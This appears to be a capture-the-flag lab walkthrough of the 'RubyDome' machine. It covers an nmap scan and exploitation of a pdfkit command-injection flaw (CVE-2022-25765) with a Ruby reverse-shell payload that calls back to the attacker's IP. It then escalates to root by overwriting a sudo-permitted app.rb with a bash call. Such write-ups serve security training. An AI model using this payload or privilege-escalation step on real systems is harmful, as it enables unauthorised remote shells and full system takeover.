RubyDome
Intro
asdf
Initial Foothold
Nmap Scan Output
# Nmap 7.94SVN scan initiated Fri Mar 22 10:30:28 2024 as: nmap -sC -sV -vv -oA nmap/initial rubydome.pg
Nmap scan report for rubydome.pg (192.168.202.22)
Host is up, received reset ttl 61 (0.043s latency).
Scanned at 2024-03-22 10:30:29 CDT for 9s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b9:bc:8f:01:3f:85:5d:f9:5c:d9:fb:b6:15:a0:1e:74 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBYESg2KmNLhFh1KJaN2UFCVAEv6MWr58pqp2fIpCSBEK2wDJ5ap2XVBVGLk9Po4eKBbqTo96yttfVUvXWXoN3M=
| 256 53:d9:7f:3d:22:8a:fd:57:98:fe:6b:1a:4c:ac:79:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBdIs4PWZ8yY2OQ6Jlk84Ihd5+15Nb3l0qvpf1ls3wfa
3000/tcp open http syn-ack ttl 61 WEBrick httpd 1.7.0 (Ruby 3.0.2 (2021-07-07))
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: RubyDome HTML to PDF
|_http-server-header: WEBrick/1.7.0 (Ruby/3.0.2/2021-07-07)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 22 10:30:38 2024 -- 1 IP address (1 host up) scanned in 9.83 secondsRubyDome webpage converts URL to PDF
RubyDome uses package PDFKit.rb in the backend, which has available exploit
┌──(joe㉿kali)-[~]
└─$ searchsploit pdfkit --disable-colour
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------- ---------------------------------
pdfkit v0.8.7.2 - Command Injection | ruby/local/51293.py
---------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No ResultsExploit granted initial access via reverse shell for user 'andrew'
┌──(joe㉿kali)-[~/hax/pg/rubydome]
└─$ python3 51293.py -s 192.168.45.152 80 -w http://rubydome.pg:3000/pdf -p url
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Sent to Target Website Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("192.168.45.152","80"))'`
LOCALIP: 192.168.45.152:80
WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 80".
WEBSITE: http://rubydome.pg:3000/pdf
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.Reverse shell listener
┌──(joe㉿kali)-[~]
└─$ sudo nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.152] from (UNKNOWN) [192.168.202.22] 45852
whoami
andrew
which python3
/usr/bin/python3
python3 -c "import pty;pty.spawn('/bin/bash')"
andrew@rubydome:~/app$ cd ..
cd ..
andrew@rubydome:~$ ls -la
ls -la
total 32
drwxr-x--- 3 andrew andrew 4096 Jun 13 2023 .
drwxr-xr-x 3 root root 4096 Apr 25 2023 ..
drwxr-xr-x 2 andrew andrew 4096 Apr 25 2023 app
lrwxrwxrwx 1 root root 9 Apr 25 2023 .bash_history -> /dev/null
-rw-r--r-- 1 andrew andrew 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 andrew andrew 3771 Jan 6 2022 .bashrc
-rw-rw-r-- 1 andrew andrew 33 Mar 22 15:26 local.txt
-rw-r--r-- 1 andrew andrew 807 Jan 6 2022 .profile
-rw-r--r-- 1 andrew andrew 0 Apr 25 2023 .sudo_as_admin_successful
-rw------- 1 andrew andrew 774 Jun 13 2023 .viminfo
andrew@rubydome:~$ cat local.txt
cat local.txt
c2c845c2342a613d302ea0d415882241Privilege Escalation
adf
andrew@rubydome:~/app$ sudo -l
sudo -l
Matching Defaults entries for andrew on rubydome:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User andrew may run the following commands on rubydome:
(ALL) NOPASSWD: /usr/bin/ruby /home/andrew/app/app.rb
andrew@rubydome:~/app$ ls -la
ls -la
total 148
drwxr-xr-x 2 andrew andrew 4096 Mar 22 16:17 .
drwxr-x--- 5 andrew andrew 4096 Mar 22 16:16 ..
-rwxrwx--- 1 andrew andrew 1032 Apr 24 2023 app.rb
-rw-rw-r-- 1 andrew andrew 131089 Mar 22 16:17 linpeas-output.txt
-rw-rw-r-- 1 andrew andrew 1220 Mar 22 15:46 page.pdf
andrew@rubydome:~/app$ cp app.rb app.rb.bak
cp app.rb app.rb.bak
andrew@rubydome:~/app$ echo "system('/bin/bash')" > app.rb
echo "system('/bin/bash')" > app.rb
andrew@rubydome:~/app$ sudo /usr/bin/ruby /home/andrew/app/app.rb
sudo /usr/bin/ruby /home/andrew/app/app.rb
root@rubydome:/home/andrew/app# whoami
whoami
root
root@rubydome:/home/andrew/app# cat /root/proof.txt
cat /root/proof.txt
2f232fecea3a2b5116cb328b9471bdd3Last updated